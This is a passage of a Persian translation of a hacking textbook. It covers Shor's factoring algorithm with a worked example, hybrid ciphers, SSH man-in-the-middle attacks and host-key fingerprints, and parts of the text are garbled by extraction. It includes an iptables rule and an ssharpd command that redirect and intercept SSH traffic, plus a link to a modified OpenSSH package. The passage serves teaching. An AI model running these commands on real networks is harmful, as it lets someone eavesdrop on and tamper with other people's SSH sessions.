ﻣﺠﺪدا ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ ،وﻋﺪه اﻓﺰاﯾﺶ ﺗﻮان ﻣﺤﺎﺳﺒﺎﺗﯽ را ﻧﻮﯾﺪ ﻣﯽ دﻫﺪ .ﭘﯿﺘﺮ ﺷﻮر ) (Peter Shorﻣـﯽ ﺗﻮاﻧـﺴﺖ از
ﺗﻮازن وﺳﯿﻊ ﻣﻮﺟﻮد در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ ﺑﻪ ﻣﻨﻈﻮر ﻋﺎﻣﻞ ﯾﺎﺑﯽ ﺷﻤﺎره ﻫﺎ ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺣﻘـﻪ در ﻧﻈﺮﯾـﻪ اﻋـﺪاد
اﺳﺘﻔﺎده ﮐﻨﺪ.
اﻟﮕﻮرﯾﺘﻢ ﻋﻤﻼ ﺑﺴﯿﺎر ﺳﺎده ﺑﻮد .ﯾﮏ ﺷﻤﺎره ﺑﺮای ﻋﺎﻣﻞ ﯾﺎﺑﯽ درﯾﺎﻓﺖ ﻣﯽ ﺷﻮد ) .(Nﻣﻘﺪاری ﮐﻤﺘﺮ از Nﺑﺮای Aاﻧﺘﺨـﺎب
ﻣﯽ ﺷﻮد .اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺪ ﻧﺴﺒﺖ ﺑﻪ Nﻧﯿﺰ اول ﺑﺎﺷﺪ ،اﻣﺎ ﺑﺎ ﻓﺮض اﯾﻨﮑـﻪ Nﺣﺎﺻﻠـﻀﺮب دو ﻋـﺪد اول اﺳـﺖ )ﮐـﻪ ﻫﻤﯿـﺸﻪ
101
Number Field Sieve
156
ﺟﻬﺖ ﻋﺎﻣﻞ ﯾﺎﺑﯽ اﻋﺪاد ﺑﻪ ﻣﻨﻈﻮر ﺷﮑﺴﺘﻦ RSAﺻﺎدق اﺳﺖ( ،اﮔﺮ Aﻧﺴﺒﺖ ﺑﻪ Nاول ﻧﺒﺎﺷﺪ ،آﻧﮕﺎه ﺣﺘﻤﺎ ﯾﮑﯽ از ﻋﺎﻣـﻞ
ﻫﺎی Nﺧﻮاﻫﺪ ﺑﻮد.
ﻣﺘﻌﺎﻗﺒﻼ ﻣﺤﻞ اﻧﻄﺒﺎق ) (superpositionرا ﺑﺎ ﺷﻤﺎره ﻫﺎی ﻣﺘﻮاﻟﯽ ﺷﺮوع ﺷﺪه از 1ﺑﺎرﮔﺬاری ﻣﯽ ﮐﻨﯿﻢ و ﻫﺮ ﯾـﮏ از آن
ﻣﻘﺎدﯾﺮ را از ﻃﺮﯾﻖ ﺗﺎﺑﻊ ) f(x) = Ax(modNﻣﯽ دﻫﯿﻢ .ﺗﻤﺎم اﯾﻦ ﻋﻤﻠﯿﺎت ﺑﺎ ﺟﺎدوی ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘـﻮﻣﯽ ﻣـﯽ ﺗﻮاﻧـﺪ در
واﺣﺪ زﻣﺎن اﻧﺠﺎم ﺷﻮد .ﯾﮏ اﻟﮕﻮی ﺗﮑﺮار در ﻧﺘﺎﯾﺞ ﺗﺎﺑﻊ ﻧﻤﻮد دارد و دوره اﯾﻦ ﺗﮑﺮار را ﺑﺎﯾﺪ ﭘﺎﯾﺪ ﮐﺮد .ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ اﯾـﻦ
ﮐﺎر را ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﺳﺮﻋﺖ روی ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ ﺑﺎ ﯾﮏ ﺗﻐﯿﯿﺮ ﺷﮑﻞ Fourierاﻧﺠﺎم داد .دوره را ﺑﺎ Rﻧﺸﺎن ﻣـﯽ
دﻫﯿﻢ.
ﺳﭙﺲ ﻣﻘﺎدﯾﺮ ) gcd(AR/2 + 1, Nو ) gcd(AR/2 − 1, Nﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮﻧﺪ .ﺣﺪاﻗﻞ ﯾﮑﯽ از اﯾﻦ ﻣﻘﺎدﯾﺮ ﺑﺎﯾﺪ ﻋـﺎﻣﻠﯽ از
Nﺑﺎﺷﺪ ﮐﻪ اﯾﻦ ﻓﺮﺿﯿﻪ ﺑﻪ دﻟﯿﻞ ﺑﺮﻗﺮاری ﺗﺴﺎوی ) AR = 1 (mod Nاﻣﮑﺎن ﭘﺬﯾﺮ و در زﯾـﺮ ﺑﯿـﺸﺘﺮ ﺗﻮﺿـﯿﺢ داده ﺷـﺪه
اﺳﺖ.
)AR – 1(modN
)(AR/2)2 – 1(modN
)(AR/2)2 – 1 = 0(modN
)(AR/2 – 1) · (AR/2 + 1) = 0(modN
ﺑﻪ اﯾﻦ ﺻﻮرت ) (AR/2 − 1) · (AR/2 + 1ﻣﻀﺮب ﺻﺤﯿﺤﯽ از Nاﺳﺖ .ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﻘـﺪار ﺻـﻔﺮ را اﺧﺘﯿـﺎر
ﻧﮑﻨﻨﺪ ،ﯾﮑﯽ از آﻧﻬﺎ ﯾﮏ ﻋﺎﻣﻞ ﻣﺸﺘﺮک ﺑﺎ Nﺧﻮاﻫﺪ داﺷﺖ.
ﺑﺮای ﮐﺮک ﮐﺮدن ﻣﺜﺎل ﻗﺒﻠﯽ ،RSAﺑﺎﯾﺪ ﻣﻘﺪار ﻋﻤﻮﻣﯽ Nرا ﻋﺎﻣﻞ ﯾـﺎﺑﯽ ﮐـﺮد .در اﯾـﻦ ﻣـﻮرد Nﺑﺮاﺑـﺮ ﺑـﺎ 143اﺳـﺖ.
ﺳﭙﺲ ﻣﻘﺪاری ﺑﺮای Aاﻧﺘﺨﺎب ﻣﯽ ﺷﻮد ﮐﻪ ﻧﺴﺒﺖ ﺑﻪ Nاول و از آن ﮐﻮﭼﮑﺘﺮ ﺑﺎﺷﺪ ،ﭘﺲ Aﺑﺮاﺑﺮ 21ﻣﯽ ﺷﻮد .ﺑﻪ اﯾـﻦ
ﺗﺮﺗﯿﺐ ﺗﺎﺑﻊ ﺑﻪ ﺷﮑﻞ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ:
x
)f(x) = 21 (mod143
ﻫﺮ ﻣﻘﺪار ﻣﺘﻮاﻟﯽ ﮐﻪ از 1ﺷﺮوع ﺷﺪه و ﺑﻪ ﺑﺰرﮔﺘﺮﯾﻦ ﻋﺪدی ﮐﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ اﺟﺎزه ﻣﯽ دﻫـﺪ ،در اﯾـﻦ ﺗـﺎﺑﻊ ﻗـﺮار
داده ﺧﻮاﻫﺪ ﺷﺪ .ﺟﻬﺖ ﮐﻮﺗﺎه ﻧﮕﻪ داﺷﺘﻦ ﻣﺜﺎل ،ﻓﺮض ﻣﯽ ﮐﻨﯿﻢ ﮐﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ دارای ﺳﻪ ﺑﯿﺖ ﮐﻤﯽ 102اﺳﺖ ،ﻟﺬا
آراﯾﻪ اﻧﻄﺒﺎق ﻣﯽ ﺗﻮاﻧﺪ 8ﻣﻘﺪار را ﻧﮕﻬﺪاری ﮐﻨﺪ.
1
x = 1 21 (mod )143 = 21
x = 2 212 (mod )143 = 12
x = 3 213 (mod )143 = 109
x = 4 214 (mod )143 = 1
x = 5 215 (mod )143 = 21
x = 6 216 (mod )143 = 12
x = 7 217 (mod )143 = 109
x = 8 218 (mod )143 = 1
در اﯾﻨﺠﺎ دوره را ﻣﯽ ﺗﻮان ﺑﻪ ﺳﺎدﮔﯽ ﺑﺎ ﭼﺸﻢ ﻣﺤﺎﺳﺒﻪ ﮐﺮد R :ﺑﺮاﺑـﺮ 4اﺳـﺖ .ﺑـﺎ در اﺧﺘﯿـﺎر داﺷـﺘﻦ اﯾـﻦ اﻃﻼﻋـﺎت ،دو
ﻋﺒﺎرت ) gcd(212 −1, 143و ) gcd(212 +1, 143ﺑﺎﯾﺪ ﺣﺪاﻗﻞ ﯾﮑﯽ از ﻋﺎﻣـﻞ ﻫـﺎ را ﺗﻮﻟﯿـﺪ ﮐﻨﻨـﺪ .ﭼـﻮن gcd(440,
143) = 11و ،gcd(442, 142) = 13ﻟﺬا ﻫﺮ دو ﻋﺎﻣﻞ ﻋﻤﻼ اﯾﻨﺒﺎر ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ ﻓﺎﮐﺘﻮرﻫـﺎ را ﻣـﯽ ﺗـﻮان ﺟﻬـﺖ
ﻣﺤﺎﺳﺒﻪ ﻣﺠﺪد ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ در ﻣﺜﺎل RSAﻗﺒﻠﯽ اﺳﺘﻔﺎده ﮐﺮد.
ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﭘﯿﻮﻧﺪی ﯾﺎ ﺗﺮﮐﯿﺒﯽ ) (hybridاز ﻫﺮ دو اﻟﮕﻮی ﻗﺒﻠﯽ ﺑﻬﺘﺮ اﺳﺖ .ﯾﮏ رﻣﺰ ﻧﺎﻣﺘﻘﺎرن ﺑـﺮای ﺗﺒـﺎدل ﯾـﮏ
ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﺷﺪه ﺗﺼﺎدﻓﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ ﺑﺎ ﯾﮏ رﻣﺰ ﻣﺘﻘﺎرن ﺟﻬﺖ رﻣﺰﻧﮕﺎری ارﺗﺒﺎﻃـﺎت ﺑﺎﻗﯿﻤﺎﻧـﺪه ﺑﮑـﺎر ﻣـﯽ رود.
102
Quantum Bits
157
اﯾﻦ روﻧﺪ ﺳﺮﻋﺖ و ﮐﺎرآﯾﯽ ﯾﮏ رﻣﺰ ﻣﺘﻘﺎرن را ﺧﻮاﻫﺪ داﺷﺖ ،درﺣﺎﻟﯿﮑﻪ ﭼﺎﻟﺶ ﺗﺒﺎدل ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ را ﻧﯿﺰ ﺣﻞ ﻣﯽ ﮐﻨﺪ.
رﻣﺰﻫﺎی ﺗﺮﮐﯿﺒﯽ ﺗﻮﺳﻂ ﻣﺪرﻧﺘﺮﯾﻦ ﮐﺎرﺑﺮدﻫﺎی رﻣﺰﻧﮕﺎری از ﺟﻤﻠﻪ SSH ،SSLو PGPاﺳﺘﻔﺎده ﻣﯽ ﺷﻮد.
ﭼﻮن ﺑﺴﯿﺎری از ﮐﺎرﺑﺮدﻫﺎ از رﻣﺰﻫﺎﯾﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ در ﻣﻘﺎﺑﻞ ﺗﺤﻠﯿﻞ رﻣﺰ ﻣﻘﺎوم ﻫﺴﺘﻨﺪ ،ﻟﺬا ﺣﻤﻠﻪ ﺑﻪ رﻣـﺰ ﻧﺘﯿﺠـﻪ
ای در ﺑﺮ ﻧﺨﻮاﻫﺪ داﺷﺖ .ﺑﺎ اﯾﻦ ﺣﺎل ،اﮔﺮ ﯾﮏ ﻧﻔﻮذﮔﺮ ﺑﺘﻮاﻧﺪ ارﺗﺒﺎﻃﺎت ﺑﯿﻦ دو ﻃﺮف را ﻗﻄﻊ ﮐﺮده و ﺧﻮد را ﺟﺎی ﯾﮑـﯽ
از ﻃﺮﻓﯿﻦ ﺟﺎ ﺑﺰﻧﺪ ،آﻧﮕﺎه ﻣﯽ ﺗﻮان ﺑﻪ اﻟﮕﻮرﯾﺘﻢ ﺗﺒﺎدل ﮐﻠﯿﺪ ﺣﻤﻠﻪ ﮐﺮد.
ﯾﮏ ﺣﻤﻠﻪ (Man-In-the-Middle) MiMروش زﯾﺮﮐﺎﻧﻪ ای ﺑﺮای ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ رﻣﺰﻧﮕﺎری اﺳﺖ .ﻧﻔـﻮذﮔﺮ ﺑـﯿﻦ دو
ﻃﺮف ارﺗﺒﺎط ﻗﺮار ﻣﯽ ﮔﯿﺮد و ﻫﺮ ﯾﮏ از ﻃﺮﻓﯿﻦ ﮔﻤﺎن ﻣﯽ ﮐﻨـﺪ ﮐـﻪ ﺑـﺎ ﻃـﺮف دﯾﮕـﺮ )و ﻧـﻪ ﻧﻔـﻮذﮔﺮ( در ارﺗﺒـﺎط اﺳـﺖ،
درﺣﺎﻟﯿﮑﻪ ﻫﺮ دوی آﻧﻬﺎ ﺑﺎ ﻧﻔﻮذﮔﺮ در ارﺗﺒﺎط ﻫﺴﺘﻨﺪ.
ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ارﺗﺒﺎط رﻣﺰی ﺑﯿﻦ دو ﻃﺮف ﺑﺮﻗﺮار اﺳﺖ ،ﯾﮏ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﺗﻮﻟﯿﺪ ﺷﺪه و ﺑﻮﺳـﯿﻠﻪ ﯾـﮏ رﻣـﺰ ﻧﺎﻣﺘﻘـﺎرن
ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد .ﻣﻌﻤﻮﻻ اﯾﻦ ﮐﻠﯿﺪ ﺑﺮای رﻣﺰﻧﮕﺎری ارﺗﺒﺎﻃﺎت آﺗﯽ ﺑﯿﻦ دو ﻃﺮف اﺳﺘﻔﺎده ﻣﯽ ﺷـﻮد .ﭼـﻮن ﮐﻠﯿـﺪ ﺑـﺼﻮرت
ﻣﺤﺮﻣﺎﻧﻪ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد و ﺗﺮاﻓﯿﮏ ﺑﻌﺪ از آن ﺗﻮﺳﻂ اﯾﻦ ﮐﻠﯿﺪ ،اﯾﻤﻦ ﻣﯽ ﺷﻮﻧﺪ .ﻟﺬا ﺗﻤﺎم ﺗﺮاﻓﯿـﮏ ﺑـﺮای ﻧﻔـﻮذﮔﺮی ﮐـﻪ
اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را اﺳﺘﺮاق ﮐﺮده ﺑﺎﺷﺪ ﻏﯿﺮﻗﺎﺑﻞ ﻓﻬﻢ ﺧﻮاﻫﺪ ﺑﻮد.
ﺑﻪ ﻫﺮ ﺣﺎل در ﯾﮏ ﺣﻤﻠﻪ ،MiMﻃﺮف Aﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎ Bدر ارﺗﺒﺎط اﺳﺖ و ﻃﺮف Bﻧﯿﺰ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎ .A
اﻣﺎ در ﻋﻤﻞ ﻫﺮ دو ﺑﺎ ﻧﻔﻮذﮔﺮ در ارﺗﺒﺎط ﻫﺴﺘﻨﺪ .ﺑﻨﺎﺑﺮاﯾﻦ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ،Aﺑﺎ ﯾﮏ ارﺗﺒﺎط رﻣﺰﺷﺪه ﺑﺎ Bﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ،
در ﺣﻘﯿﻘﺖ ﯾﮏ ارﺗﺒﺎط رﻣﺰﺷﺪه را ﺑﺮای ﻧﻔﻮذﮔﺮ ﺑﺎز ﻣﯽ ﮐﻨﺪ ،ﯾﻌﻨﯽ ﻧﻔﻮذﮔﺮ ﺑﻄﻮر ﻣﺤﺮﻣﺎﻧﻪ ﺑﺎ ﯾﮏ رﻣـﺰ ﻧﺎﻣﺘﻘـﺎرن ارﺗﺒـﺎط
ﺑﺮﻗﺮار ﮐﺮده و ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ را ﻣﯽ ﻓﻬﻤﺪ .در ﻗﺪم ﺑﻌﺪ ﺗﻨﻬﺎ ﻧﯿﺎز اﺳﺖ ﮐﻪ ﻧﻔﻮذﮔﺮ ارﺗﺒﺎط رﻣﺰﺷﺪه دﯾﮕﺮی ﺑـﺎ Bﺑﺮﻗـﺮار
ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ Bﻧﯿﺰ ﮔﻤﺎن ﻣﯽ ﺑﺮد ﮐﻪ ﺑﺎ Aدر ﺣﺎل ارﺗﺒﺎط اﺳﺖ .اﯾﻦ ﻣﺴﺌﻠﻪ در ﺗﺼﻮﯾﺮ زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ:
ﺑﻪ اﯾﻦ ﺻﻮرت ﻧﻔﻮذﮔﺮ ﻋﻤﻼ دو ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ رﻣﺰﺷﺪه ﻣﺠﺰا را ﺑﺎ دو ﮐﻠﯿﺪ رﻣﺰﻧﮕﺎری ﻣﺠﺰا ﺑﺮﻗﺮار ﻣﯽ ﺳﺎزد .ﺑﺴﺘﻪ ﻫﺎ از
Aﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ رﻣﺰ و ﺑﻪ ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ ) Aﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫـﺎ ﺑـﻪ Bارﺳـﺎل ﺷـﺪه اﻧـﺪ( .ﺳـﭙﺲ
ﻧﻔﻮذﮔﺮ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ رﻣﺰﮔﺸﺎﯾﯽ ﮐﺮده و ﻣﺠﺪدا آﻧﺮا ﺑﺎ ﮐﻠﯿﺪ دوم رﻣﺰﻧﮕﺎری ﻣﯽ ﮐﻨﺪ .ﺳﭙﺲ اﯾـﻦ ﺑـﺴﺘﻪ
ﻫﺎی رﻣﺰﺷﺪه ﺟﺪﯾﺪ را ﺑﻪ Bارﺳﺎل ﻣﯽ دارد ) Bﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ از Aارﺳﺎل ﺷﺪه اﻧﺪ( .ﺑﺎ ﻗﺮار ﮔﺮﻓﺘﻦ در
158
ﺑﺪون آﮔﺎﻫﯽ دو ﻃﺮف از اﯾﻦ ﻣﺴﺌﻠﻪ ﻧﻔﻮذﮔﺮ ﻗـﺎدر ﺑـﻪ اﺳـﺘﺮاق و ﺣﺘـﯽ دﺳـﺘﮑﺎری،ﺑﯿﻦ دو ﻃﺮف و اﯾﺠﺎد دو ﮐﻠﯿﺪ ﻣﺠﺰا
.ﺗﺮاﻓﯿﮏ ﺑﯿﻦ دو ﻃﺮف ﺧﻮاﻫﺪ ﺑﻮد
ﺑﻪ ﮐﺎر ﻣﯽ رﻓـﺖ( وARP Redirection اﯾﻦ ﻓﺮاﯾﻨﺪ را ﺗﻤﺎﻣﺎ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﮑﺮﯾﭙﺖ ﭘﺮل ﻣﻮﺟﻮد در ﻓﺼﻞ ﺳﻮم )ﮐﻪ ﺑﺮای
اﻣـﺎ. ﭘﯿﺮو ﺟﻮاز اﯾﻦ ﺑﺴﺘﻪ ﻧﻤﯽ ﺗﻮان آﻧﺮا ﺗﻮزﯾﻊ ﮐـﺮد. اﻧﺠﺎم دادSSharp ﺑﻪ ﻧﺎم،OpenSSH ﯾﮏ ﺑﺴﺘﻪ دﺳﺘﮑﺎری ﺷﺪه
ﺗﻤـﺎم ارﺗﺒﺎﻃـﺎت راssharpd ﯾﻌﻨـﯽ،ssharp دﯾﻤﻦ. ﯾﺎﻓﺖhttp://stealth.7350.org ﻣﯽ ﺗﻮان اﯾﻦ ﺑﺴﺘﻪ را در آدرس
IP ﻗﻮاﻋـﺪ،ssharpd ﺑـﻪ ﻫﻨﮕـﺎم اﺟـﺮای. ﭘﺮاﮐﺴﯽ ﻣﯽ ﮐﻨـﺪ، ﻣﻘﺼﺪ ﺣﻘﯿﻘﯽIP ﺳﭙﺲ ﺗﻤﺎم آﻧﻬﺎ را ﺑﻪ آدرس،ﻣﯽ ﭘﺬﯾﺮد
اﺳﺘﻔﺎده ﻣﯽ1337 ﺑﻪ ﭘﻮرت23 ﺑﺎ ﭘﻮرت ﻣﻘﺼﺪSSH ﯾﺎ ﻫﺪاﯾﺖ ﮐﺮدن ﺗﺮاﻓﯿﮏ ارﺗﺒﺎطredirect ﺑﻪ ﻣﻨﻈﻮرFiltering
را ﻫﺪاﯾﺖ ﻣـﯽ ﮐﻨـﺪ192.168.0.189 و192.168.0.118 ﺗﺮاﻓﯿﮏ ﺑﯿﻦARP Redirection ﺳﭙﺲ اﺳﮑﺮﯾﭙﺖ.ﺷﻮﻧﺪ
: در زﯾﺮ ﺧﺮوﺟﯽ اﯾﻦ ﻣﺎﺷﯿﻦ ﻫﺎ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ. ﻣﯽ ﮔﺬرد192.168.0.193 ﺑﻄﻮرﯾﮑﻪ اﯾﻦ ﺗﺮاﻓﯿﮏ از ﻣﺎﺷﯿﻦ
On machine overdose @ 192.168.0.193
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22
-j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337
159
ﻣﻬﺎرت ﻧﻔﻮذﮔﺮ در ﻣﻌﺮﻓﯽ ﮐﺮدن ﺧﻮد ﺑﻪ ﻋﻨﻮان ﻃﺮف ﻣﻘﺎﺑﻞ ،ﻣﺴﺌﻠﻪ ای اﺳﺖ ﮐﻪ اﯾﻦ ﻧﻮع ﺣﻤﻼت را ﻣﻤﮑـﻦ ﻣـﯽ ﺳـﺎزد.
ﮐﺎرﺑﺮدﻫﺎی SSLو SSHﺑﺎ در ﻧﻈﺮ داﺷﺘﻦ اﯾﻦ ﻣﺴﺌﻠﻪ ﻃﺮاﺣﯽ ﺷﺪﻧﺪ و ﻣﺤﺎﻓﻈﺎﺗﯽ را در ﺑﺮاﺑـﺮ ﺟﻌـﻞ ﻫﻮﯾـﺖ 103دارﻧـﺪ.
SSLاز ﮔﻮاﻫﯿﻨﺎﻣﻪ ﻫﺎ و SSHاز اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ) (host fingerprintﺑﻪ ﻣﻨﻈﻮر ﺗﻌﯿﯿﻦ اﻋﺘﺒﺎر ﻫﻮﯾـﺖ اﺳـﺘﻔﺎده
ﻣﯽ ﮐﻨﻨﺪ .اﮔﺮ ﻧﻔﻮذﮔﺮ ﮔﻮاﻫﯿﻨﺎﻣﻪ ﺻﺤﯿﺢ را ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ﯾﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ Aﻗﺼﺪ ﺑﺮﻗﺮاری ﯾﮏ ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ رﻣﺰﺷـﺪه را
ﺑﺎ ﻧﻔﻮذﮔﺮ دارد ،ﻧﻔﻮذﮔﺮ ﺑﺮای Bاﻧﮕﺸﺖ ﻧﮕﺎری ﮐﻨﺪ) ،(fingerprintآﻧﮕﺎه اﻣﻀﺎﻫﺎی دﯾﺠﺘﺎﻟﯽ ﺑﺎ ﻫﻢ ﻣﻨﻄﺒﻖ ﻧﺒﻮده و Aﺑﺎ
ﯾﮏ اﺧﻄﺎر از اﯾﻦ ﻣﻮﺿﻮع ﻣﻄﻠﻊ ﻣﯽ ﺷﻮد.
در ﻣﺜﺎل ﻗﺒﻠﯽ ﻣﺎﺷﯿﻦ Euclidﻗﺒﻼ ﻫﺮﮔﺰ از ﻃﺮﯾﻖ SSHﺑﺎ ﻣﺎﺷﯿﻦ Tetsuoارﺗﺒﺎط ﻧﺪاﺷﺘﻪ اﺳـﺖ ،ﻟـﺬا ﻫـﯿﭻ اﺛﺮاﻧﮕـﺸﺖ
ﻣﯿﺰﺑﺎن در ﻣﺤﻔﻮﻇﺎت آن وﺟﻮد ﻧﺪاﺷﺖ .اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎﻧﯽ ﮐﻪ ﻗﺒﻼ ﭘﺬﯾﺮﻓﺘﻪ ﺷﺪه ﺑـﻮد ﻣﺮﺑـﻮط ﺑـﻪ ﻣﺎﺷـﯿﻦ Overdose
ﺑﻮده اﺳﺖ )و ﻧﻪ .(Tetsuoاﮔﺮ اﯾﻦ ﻣﺴﺌﻠﻪ وﺟـﻮد ﻧﺪاﺷـﺖ و ﻣﺎﺷـﯿﻦ ،Euclidﯾـﮏ اﺛﺮاﻧﮕـﺸﺖ ﻣﯿﺰﺑـﺎن ﺑـﺮای ﻣﺎﺷـﯿﻦ
Tetsuoداﺷﺖ ،ﺗﻤﺎم ﺣﻤﻠﻪ ﺗﺸﺨﯿﺺ داده ﻣﯽ ﺷﺪ و ﮐﺎرﺑﺮ ﺑﺎ اﺧﻄﺎر ﻣﺸﮑﻮک زﯾﺮ ﺑﺮﺧﻮرد ﻣﯽ ﻧﻤﻮد:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ !WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
!IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY
!)Someone could be eavesdropping on you right now (man-in-the-middle attack
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Please contact your system administrator.
ﮐﻼﯾﻨﺖ OpenSSHﻋﻤﻼ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ اﺛﺮاﻧﮕﺸﺖ ﻗﺪﯾﻤﯽ ﻣﯿﺰﺑﺎن ﺣﺬف ﻧﺸﺪه ﺑﺎﺷﺪ ،ﮐﺎرﺑﺮ را از ارﺗﺒﺎط ﻣﻨﻊ ﻣﯽ ﮐﻨـﺪ .ﺑـﺎ
اﯾﻦ ﺣﺎل ﺑﺴﯿﺎری از ﮐﻼﯾﻨﺖ ﻫﺎی ،Windows SSHاﺟﺮای ﻗﻮاﻧﯿﻦ ﻣﺤـــﮑﻢ و ﺷــﺪﯾﺪ اﯾﻦ ﭼﻨﯿــﻨﯽ را ﻧﺪارﻧﺪ و ﮐـﺎرﺑﺮ
را ﺗﻨﻬﺎ ﺑﺎ ﯾﮏ ﺟﻌﺒﻪ ﭘﯿﺎم ﺳﺎده ﻣﺎﻧﻨﺪ"? "Are you sure you want to continueاﺧﻄﺎر ﻣـﯽ دﻫﻨـﺪ .ﯾـﮏ ﮐـﺎرﺑﺮ ﺑـﯽ
اﻃﻼع ﻣﻤﮑﻦ اﺳﺖ در ﭘﺎﺳﺦ ﺑﻪ اﯾﻦ ﺟﻌﺒﻪ ﭘﯿﺎم ،ﮔﺰﯾﻨﻪ ﻣﺜﺒﺖ را اﻧﺘﺨﺎب ﮐﻨﺪ.
اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ،SSHﭼﻨﺪ آﺳﯿﺐ ﭘﺬﯾﺮی دارﻧﺪ .اﯾﻦ آﺳﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ در ﻧـﺴﺨﻪ ﻫـﺎی اﺧﯿـﺮ OpenSSH
رﻓﻊ ﺷﺪه اﻧﺪ اﻣﺎ ﻫﻨﻮز در ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻗﺪﯾﻤﯽ وﺟﻮد دارﻧﺪ.
ﻣﻌﻤﻮﻻ اوﻟﯿﻦ ﺑﺎری ﮐﻪ ﯾﮏ ارﺗﺒﺎط SSHﺑﺎ ﯾﮏ ﻣﯿﺰﺑﺎن ﺟﺪﯾﺪ ﺑﺮﻗﺮار ﻣﯽ ﺷﻮد ،ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾـﺮ ﻧـﺸﺎن داده ﺷـﺪه
اﺳﺖ ،اﺛﺮاﻧﮕﺸﺖ آن ﻣﯿﺰﺑﺎن ﺑﻪ ﻓﺎﯾﻠﯽ ﺑﺎ ﻧﺎم known_hostsاﺿﺎﻓﻪ ﻣﯽ ﺷﻮد:
$ ssh 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
>[email protected]'s password: <ctrl-c
$ grep 192.168.0.189 .ssh/known_hosts
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHl
byrJDTdE
hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOR
OxoTYasx
=MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk
ﺑﻪ ﻫﺮ ﺣﺎل ،دو ﭘﯿﺎده ﺳﺎزی ﻣﺘﻔﺎوت از ﭘﺮوﺗﮑﻞ SSHﺑﺎ دو اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺘﻔﺎوت وﺟﻮد دارﻧﺪ ) SSH1و .(SSH2
